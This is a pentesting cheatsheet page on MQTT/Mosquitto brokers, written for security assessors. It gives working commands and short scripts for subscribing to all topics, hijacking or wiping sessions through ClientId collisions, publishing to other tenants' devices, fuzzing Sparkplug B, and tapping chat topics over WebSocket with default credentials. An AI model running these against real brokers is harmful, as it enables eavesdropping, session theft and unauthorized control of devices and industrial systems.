daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

1883-pentesting-mqtt-mosquitto.md (18651B)


      1 ---
      2 title: "1883 - Pentesting MQTT (Mosquitto)"
      3 section: "Network Services"
      4 sectionSlug: "network-services-pentesting"
      5 sourcePath: "src/network-services-pentesting/1883-pentesting-mqtt-mosquitto.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/1883-pentesting-mqtt-mosquitto.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # 1883 - Pentesting MQTT (Mosquitto)
     14 
     15 ## Basic Information
     16 
     17 **MQTT** is a lightweight **publish/subscribe messaging protocol** designed for constrained devices and low-bandwidth, high-latency, or unreliable networks. Its small control-packet overhead and three quality-of-service levels make it common in machine-to-machine, IoT, and mobile applications.<sup>[[10]](#references)</sup>
     18 
     19 **Default port:** 1883
     20 
     21 ```text
     22 PORT     STATE SERVICE                 REASON
     23 1883/tcp open  mosquitto version 1.4.8 syn-ack
     24 ```
     25 
     26 ## Inspecting the traffic
     27 
     28 After a client sends **CONNECT**, the broker answers with **CONNACK**. In MQTT 3.1.1, return code **0x00** means that the connection was accepted and **0x05** means “not authorized”; this can reflect invalid credentials, an unauthorized client, or another broker policy. MQTT 5 uses reason codes instead (for example, `0x87` for “Not authorized”), so interpret captures according to the negotiated protocol version.<sup>[[10]](#references)</sup>
     29 
     30 For instance, if the broker rejects the connection due to invalid credentials, the scenario would look something like this:
     31 
     32 ```text
     33 {
     34   "returnCode": "0x05",
     35   "description": "Connection Refused, not authorized"
     36 }
     37 ```
     38 
     39 ![1883 - Pentesting MQTT (Mosquitto) - Inspecting the traffic: "description": "Connection Refused, not authorized"](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28976%29.png)
     40 
     41 ### [**Brute-Force MQTT**](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-hacking/brute-force.md#mqtt)
     42 
     43 ## Pentesting MQTT
     44 
     45 MQTT itself does not require username/password authentication, and plain MQTT on TCP/1883 does not provide transport encryption. If a deployment sends credentials over an unprotected listener, an on-path attacker can capture them; TLS-enabled listeners are commonly exposed on TCP/8883.<sup>[[10]](#references)[[11]](#references)</sup>
     46 
     47 To connect to a MQTT service you can use: [https://github.com/bapowell/python-mqtt-client-shell](https://github.com/bapowell/python-mqtt-client-shell) and subscribe yourself to all the topics doing:
     48 
     49 ```text
     50 > connect (NOTICE that you need to indicate before this the params of the connection, by default 127.0.0.1:1883)
     51 > subscribe "#" 1
     52 > subscribe "$SYS/#"
     53 ```
     54 
     55 You could also use [**https://github.com/akamai-threat-research/mqtt-pwn**](https://github.com/akamai-threat-research/mqtt-pwn)
     56 
     57 You can also use the Mosquitto command-line clients:<sup>[[11]](#references)</sup>
     58 
     59 ```bash
     60 apt-get install mosquitto mosquitto-clients
     61 mosquitto_sub -t 'test/topic' -v #Subscribe to 'test/topic'
     62 mosquitto_sub -h <host-ip> -t "#" -v #Subscribe to ALL topics.
     63 ```
     64 
     65 Or you could **run this code to try to connect to a MQTT service without authentication, subscribe to every topic and listen them**:
     66 
     67 ```python
     68 #This is a modified version of https://github.com/Warflop/IOT-MQTT-Exploit/blob/master/mqtt.py
     69 import paho.mqtt.client as mqtt
     70 import time
     71 import os
     72 
     73 HOST = "127.0.0.1"
     74 PORT = 1883
     75 
     76 def on_connect(client, userdata, flags, rc):
     77 	client.subscribe('#', qos=1)
     78 	client.subscribe('$SYS/#')
     79 
     80 def on_message(client, userdata, message):
     81 	print('Topic: %s | QOS: %s  | Message: %s' % (message.topic, message.qos, message.payload))
     82 
     83 def main():
     84 	client = mqtt.Client()
     85 	client.on_connect = on_connect
     86 	client.on_message = on_message
     87 	client.connect(HOST, PORT)
     88 	client.loop_start()
     89 	#time.sleep(10)
     90 	#client.loop_stop()
     91 
     92 if __name__ == "__main__":
     93 	main()
     94 ```
     95 
     96 ### The Publish/Subscribe Pattern <a href="#b667" id="b667"></a>
     97 
     98 The publish/subscribe model is composed of:
     99 
    100 - **Publisher**: publishes a message to one (or many) topic(s) in the broker.
    101 - **Subscriber**: subscribes to one (or many) topic(s) in the broker and receives all the messages sent from the publisher.
    102 - **Broker**: routes all the messages from the publishers to the subscribers.
    103 - **Topic**: consists of one or more levels separated by a forward slash (for example, `smarthouse/livingroom/temperature`).
    104 
    105 ### Packet Format <a href="#f15a" id="f15a"></a>
    106 
    107 Every MQTT control packet contains a fixed header with a packet type, type-specific flags, and a variable-byte remaining-length field.<sup>[[10]](#references)</sup>
    108 
    109 ![https://miro.medium.com/max/838/1*k6RkAHEk0576geQGUcKSTA.png](https://miro.medium.com/max/838/1*k6RkAHEk0576geQGUcKSTA.png)
    110 
    111 ### Packet Types<sup>[[10]](#references)</sup>
    112 
    113 - CONNECT (1): Initiated by the client to request a connection to the server.
    114 - CONNACK (2): The server's acknowledgment of a successful connection.
    115 - PUBLISH (3): Used to send a message from the client to the server or vice versa.
    116 - PUBACK (4): Acknowledgment of a PUBLISH packet.
    117 - PUBREC (5): Part of a message delivery protocol ensuring the message is received.
    118 - PUBREL (6): Further assurance in message delivery, indicating a message release.
    119 - PUBCOMP (7): Final part of the message delivery protocol, indicating completion.
    120 - SUBSCRIBE (8): A client's request to listen for messages from a topic.
    121 - SUBACK (9): The server's acknowledgment of a SUBSCRIBE request.
    122 - UNSUBSCRIBE (10): A client's request to stop receiving messages from a topic.
    123 - UNSUBACK (11): The server's response to an UNSUBSCRIBE request.
    124 - PINGREQ (12): A heartbeat message sent by the client.
    125 - PINGRESP (13): Server's response to the heartbeat message.
    126 - DISCONNECT (14): Initiated by the client to terminate the connection.
    127 - Two values, 0 and 15, are marked as reserved and their use is forbidden.
    128 
    129 ## ClientId collisions: queued-message theft and session wipe
    130 
    131 Recent public PoCs against **Mosquitto 2.1.2** showed that if a target uses **persistent sessions** (`clean_session=false` in MQTT 3.1.1 or a non-zero Session Expiry in MQTT 5), reconnecting with the victim `ClientId` can attach you to the stored session, replay queued **QoS 1/2** traffic, and let you delete that session afterwards.<sup>[[8]](#references)[[9]](#references)</sup>
    132 
    133 This is more than a simple disconnect nuisance: the published MQTT v5 PoC showed a **low-privileged authenticated user** receiving queued messages from a topic they were **not allowed to read**, because delivery followed the stored session keyed by `ClientId`, not the newly authenticated principal.<sup>[[9]](#references)</sup> Prioritise client IDs recovered from **firmware**, **mobile/web bundles**, device stickers, topic naming conventions, or predictable serial/MAC-derived schemes, especially for devices that stay offline long enough to accumulate queued commands and telemetry.<sup>[[8]](#references)[[9]](#references)</sup>
    134 
    135 Quick checks during an assessment:<sup>[[8]](#references)[[9]](#references)</sup>
    136 
    137 - Reconnect with the suspected `ClientId` and enable `-d`; in MQTT v5, `Session Present = 1` indicates the broker resumed stored state.
    138 - Watch whether messages arrive **before** your new `SUBSCRIBE` matters — inherited queued traffic is the signal.
    139 - On authorized tests, verify whether a brief reconnect with the same `ClientId` makes the real device come back with an empty session / missing queued QoS 1/2 messages.
    140 
    141 A quick lab pattern is:<sup>[[8]](#references)[[9]](#references)</sup>
    142 
    143 ```bash
    144 # MQTT v5: try to attach to an existing stored session
    145 mosquitto_sub -h <broker> -u <attacker_user> -P <attacker_pass> \
    146   -V 5 -i '<victim_clientid>' -t '<likely_topic>' -q 1 \
    147   --session-expiry-interval 3600 -d
    148 
    149 # MQTT 3.1.1: destructive test against anonymous or weak-auth brokers
    150 # (default clean session; disconnect immediately after CONNECT/CONNACK)
    151 mosquitto_sub -h <broker> -V mqttv311 -i '<victim_clientid>' -t '#' -d
    152 ```
    153 
    154 Even if `<likely_topic>` is wrong or denied, a resumed session may still push queued packets from the victim's old subscriptions before your new subscription becomes relevant.<sup>[[9]](#references)</sup>
    155 
    156 ## IoT MQTT ecosystem attacks: plaintext brokers and topic ACL bypass
    157 
    158 Many consumer IoT platforms expose MQTT brokers that are used by two distinct roles:<sup>[[1]](#references)</sup>
    159 
    160 - Gateway/hub devices that bridge radio protocols (e.g., BLE/LoRa/Zigbee) to the cloud.
    161 - Mobile apps or web backends that control devices via “app” topics.
    162 
    163 Common weaknesses you can abuse during a pentest:
    164 
    165 - Plaintext MQTT over non-standard ports (e.g., TCP/8001) instead of MQTTS. Any on-path observer can read credentials and control frames. Use Wireshark to spot cleartext CONNECT/CONNACK and SUBSCRIBE/PUBLISH traffic on unusual ports.
    166 - Weak or missing per-tenant topic ACLs. If topics are namespaced only by a device ID (for example, `/tenantless/<deviceId>/tx`), any authenticated user might `PUBLISH` to other tenants' devices.
    167 - Sensitive data leakage via maintenance/admin topics (e.g., Wi‑Fi credentials broadcast in cleartext after config changes).
    168 
    169 Examples (replace placeholders with real values):
    170 
    171 Subscribe to potentially sensitive topics with known topic prefixes and device IDs:
    172 
    173 ```bash
    174 # Using mosquitto_sub
    175 mosquitto_sub -h <broker> -p <port> -V mqttv311 \
    176   -i <client_id> -u <username> -P <password> \
    177   -t "<topic_prefix>/<deviceId>/admin" -v
    178 ```
    179 
    180 Cross-tenant control when ACLs are weak (publish to another tenant’s device topic):
    181 
    182 ```bash
    183 mosquitto_pub -h <app-broker> -p <port> -V mqttv311 \
    184   -i <your_client_id> -u <your_username> -P <your_password> \
    185   -t "/ys/<victimDeviceId>/tx" \
    186   -m '{"method":"Device.setState","params":{"state":{"power":"on"}},"targetDevice":"<victimDeviceId>"}'
    187 ```
    188 
    189 
    190 ## Sparkplug B ICS/SCADA reconnaissance and fuzzing
    191 
    192 **Sparkplug B** adds an OT/SCADA topic namespace, a strict birth/death lifecycle, and **protobuf-encoded metrics** on top of MQTT. That makes it a good target for both **passive reconnaissance** and **negative protocol testing**.<sup>[[2]](#references)[[4]](#references)[[5]](#references)</sup>
    193 
    194 ### Passive discovery
    195 
    196 Sparkplug traffic usually follows:
    197 
    198 ```text
    199 spBv1.0/{group_id}/{message_type}/{edge_node_id}/{device_id}
    200 ```
    201 
    202 A low-noise first step is subscribing to Sparkplug wildcard topics and extracting live nodes, devices, aliases, and metric datatypes from **NBIRTH** and **DBIRTH** traffic:
    203 
    204 ```bash
    205 mosquitto_sub -h <broker> -p 1883 -t 'spBv1.0/#' -v
    206 mosquitto_sub -h <broker> -p 1883 -t 'STATE/#' -v
    207 ```
    208 
    209 Capture at least:
    210 
    211 - `group_id`, `edge_node_id`, `device_id`
    212 - Which message types are actually used: `NBIRTH`, `DBIRTH`, `NDATA`, `DDATA`, `NCMD`, `DCMD`, `NDEATH`, `DDEATH`, `STATE`
    213 - Metric names, aliases, declared datatypes, and observed sequence/timestamp behavior
    214 - Whether anonymous clients can **CONNECT**, **SUBSCRIBE**, or even **PUBLISH** into `spBv1.0/#`
    215 
    216 ### High-value Sparkplug B fuzz cases
    217 
    218 Once you know the real namespace and metric schema, focus on protocol-aware tests instead of generic MQTT fuzzing:
    219 
    220 - **Topic namespace fuzzing**: mutate `group_id`, `message_type`, `edge_node_id`, or `device_id` to detect weak ACLs, flat trust boundaries, and subscribers that accept malformed topic layouts.
    221 - **Lifecycle/order violations**: send `DDATA`/`NDATA` before `NBIRTH`/`DBIRTH`, repeat birth messages, send death without birth, or continue sending data after `NDEATH`/`DDEATH`.
    222 - **Metric type mismatches**: declare a metric as `Float` in birth traffic and later update it as `String`, `Bytes`, `Template`, etc. Weak implementations may corrupt state or silently accept invalid telemetry.
    223 - **Alias collision / rebinding**: reuse short integer aliases for different metrics or rebind an existing alias mid-session to check whether the target writes values into the wrong metric.
    224 - **Sequence-number manipulation**: replay sequence values, send gaps, go backwards, or force wraparound to test ordering/replay handling.
    225 - **Raw protobuf corruption**: mutate protobuf fields directly instead of only using high-level helper libraries, because helper APIs often prevent malformed payloads from being serialized.
    226 
    227 ### Tooling
    228 
    229 Bishop Fox released an open-source **Sparkplug B MQTT Security Fuzzer** that automates passive discovery and protocol-aware fuzz categories such as `type_mismatch`, `sequence`, `alias`, `ordering`, `malformed`, and `topic`:<sup>[[2]](#references)[[3]](#references)</sup>
    230 
    231 ```bash
    232 python3 sparkplug-fuzzer.py --setup
    233 python3 sparkplug-fuzzer.py -H <broker> -p 1883 -v
    234 # Optional auth/TLS
    235 python3 sparkplug-fuzzer.py -H <broker> -p 8883 --tls -u <user> -P <pass> -v
    236 ```
    237 
    238 The fuzzer listens on `spBv1.0/#`, builds a live device map from observed birth/death traffic, and then generates targeted malformed messages against the discovered schema.
    239 
    240 ### What to validate during the assessment
    241 
    242 - Broker ACLs scoped per Sparkplug group/role instead of broad `spBv1.0/#`
    243 - Rejection/logging of protobuf parse failures and malformed topic layouts
    244 - Rejection of alias rebinding, undefined aliases, and datatype changes after birth
    245 - Correct cleanup of node/device state after `NDEATH`/`DDEATH` and alerts on ghost sessions or repeated rebirths
    246 
    247 ## MQTT over WebSocket in web applications
    248 
    249 Do not assume MQTT is only exposed on `1883/8883`. Browser-based chat widgets, dashboards, and IoT portals frequently talk to the broker through **WebSockets** (`ws://` / `wss://`) on app-specific paths such as `/mqtt` or `/ws` (RabbitMQ commonly uses `15675/ws`).<sup>[[6]](#references)[[7]](#references)</sup>
    250 
    251 ### Frontend recon for MQTT endpoints and credentials
    252 
    253 When testing a website that embeds a real-time widget, review:
    254 
    255 - **HTML source** and framework bootstrapping objects (`window.__INITIAL_STATE__`, `drupalSettings`, `__NEXT_DATA__`, etc.)
    256 - Public runtime config files such as `env.js`, `env_app.js`, `config.js`, `settings.json`
    257 - `asset-manifest.json` / chunk manifests to find the main JavaScript bundle
    258 - Minified bundles for `mqtt`, `broker`, `topic`, `clientId`, `username`, `password`, `token`, `wss://`, `/mqtt`, `/ws`
    259 
    260 These files often leak:
    261 
    262 - Broker hostnames and non-standard ports
    263 - MQTT-over-WebSocket paths
    264 - Hardcoded usernames/passwords or bearer tokens
    265 - Client IDs and topic naming conventions
    266 - Fallback/default credentials used when environment variables are unset
    267 
    268 Example findings to look for:
    269 
    270 ```javascript
    271 apiUrl: 'https://chat-backend.example.com:8081/custom?token=...'
    272 REACT_APP_CWC_MQTT_URL: 'wss://chat-backend.example.com:8081/mqtt'
    273 CWC_CONNECTION_USERNAME: 'cwc_user'
    274 CWC_CONNECTION_PASSWORD: '...'
    275 username: 'admin'
    276 password: 'admin'
    277 ```
    278 
    279 If the bundle shows fallback authentication logic, always test weaker variants too (`admin/admin`, `admin:` with empty password, reused API tokens, anonymous login).
    280 
    281 ### Wildcard topic subscription abuse in chat/session systems
    282 
    283 Per-user chat systems often isolate conversations only by topic name, for example:
    284 
    285 ```text
    286 client/<session-id>/chat_session
    287 ```
    288 
    289 That is safe **only** if the broker enforces **topic ACLs** for the authenticated principal. Remember:
    290 
    291 - `+` matches **exactly one** topic level
    292 - `#` matches **the rest** of the topic tree
    293 
    294 Therefore, once you know the topic shape, test whether a low-privileged account can subscribe to broader filters such as:
    295 
    296 ```text
    297 client/+/chat_session
    298 client/#
    299 ```
    300 
    301 If this works, one session channel becomes a **cross-tenant message tap**. This is especially relevant in support chat, telemetry, and IoT multi-tenant deployments where the only separator is a customer/session/device identifier embedded in the topic.
    302 
    303 ### Quick WebSocket MQTT PoC
    304 
    305 If you only have a browser-facing `wss://` endpoint, a quick way to validate impact is with the Node.js [`mqtt`](https://www.npmjs.com/package/mqtt) client:
    306 
    307 ```bash
    308 npm install mqtt
    309 node -e "const c=require('mqtt').connect('wss://target:8081/mqtt',{username:'admin',password:'',rejectUnauthorized:false});c.on('connect',()=>{console.log('CONNECTED');c.subscribe('client/+/chat_session',{qos:0},()=>console.log('SUBSCRIBED'))});c.on('message',(t,m)=>console.log(t+': '+m.toString()));setTimeout(()=>process.exit(),60000)"
    310 ```
    311 
    312 Notes:
    313 
    314 - `rejectUnauthorized:false` is only a **testing workaround** for bad/self-signed TLS; it is **not** the vulnerability.
    315 - Start with the exact topic you recovered from the frontend and then broaden it with `+` / `#`.
    316 - Watch for JWTs, session IDs, PII, admin events, and historical chat payloads.
    317 
    318 ### What to verify once connected
    319 
    320 - Can you subscribe to **other tenants'** topics?
    321 - Can you **publish** into another user's/device's topic?
    322 - Are there **admin/debug** topics leaking credentials, tokens, or provisioning data?
    323 - Do wildcard subscriptions work for both **SUBSCRIBE** and **retained** messages?
    324 - Does the broker expose the same auth material over both HTTP config files and MQTT/WebSocket login?
    325 
    326 ## Shodan
    327 
    328 - `port:1883 MQTT`
    329 - MQTT plaintext on non-standard ports is common in IoT. Consider searching for brokers on alternative ports and confirm with protocol detection.
    330 
    331 
    332 ## References
    333 
    334 - [1] [How a $20 Smart Device Gave Me Access to Your Home](https://bishopfox.com/blog/how-a-20-smart-device-gave-me-access-to-your-home)
    335 - [2] [Sparkplug B Protocol Fuzzing with AI Assistance](https://bishopfox.com/blog/sparkplug-b-protocol-fuzzing-with-ai-assistance)
    336 - [3] [BishopFox/sparkplugFuzzer](https://github.com/BishopFox/sparkplugFuzzer)
    337 - [4] [Sparkplug Specification 3.0.0](https://sparkplug.eclipse.org/specification/version/3.0/documents/sparkplug-specification-3.0.0.pdf)
    338 - [5] [sparkplug_b.proto](https://github.com/eclipse-tahu/tahu/blob/master/sparkplug_b/sparkplug_b.proto)
    339 - [6] [How I Hacked a Live Chatbot and Earned My First $$$$ (4-Digit) Bounty](https://medium.com/@lazysharaf/how-i-hacked-a-live-chatbot-and-earned-my-first-4-digit-bounty-5c43c8891741)
    340 - [7] [RabbitMQ Web MQTT Plugin](https://www.rabbitmq.com/docs/next/web-mqtt)
    341 - [8] [Persistent session state can be destroyed by a spoofed CONNECT with Clean Session=1](https://github.com/eclipse-mosquitto/mosquitto/issues/3551)
    342 - [9] [Authenticated user can hijack another user's session via ClientID and exfiltrate queued messages (MQTT v5.0)](https://github.com/eclipse-mosquitto/mosquitto/issues/3553)
    343 - [10] [OASIS MQTT Version 5.0 specification](https://docs.oasis-open.org/mqtt/mqtt/v5.0/mqtt-v5.0.html)
    344 - [11] [Eclipse Mosquitto `mosquitto_sub` manual](https://mosquitto.org/man/mosquitto_sub-1.html)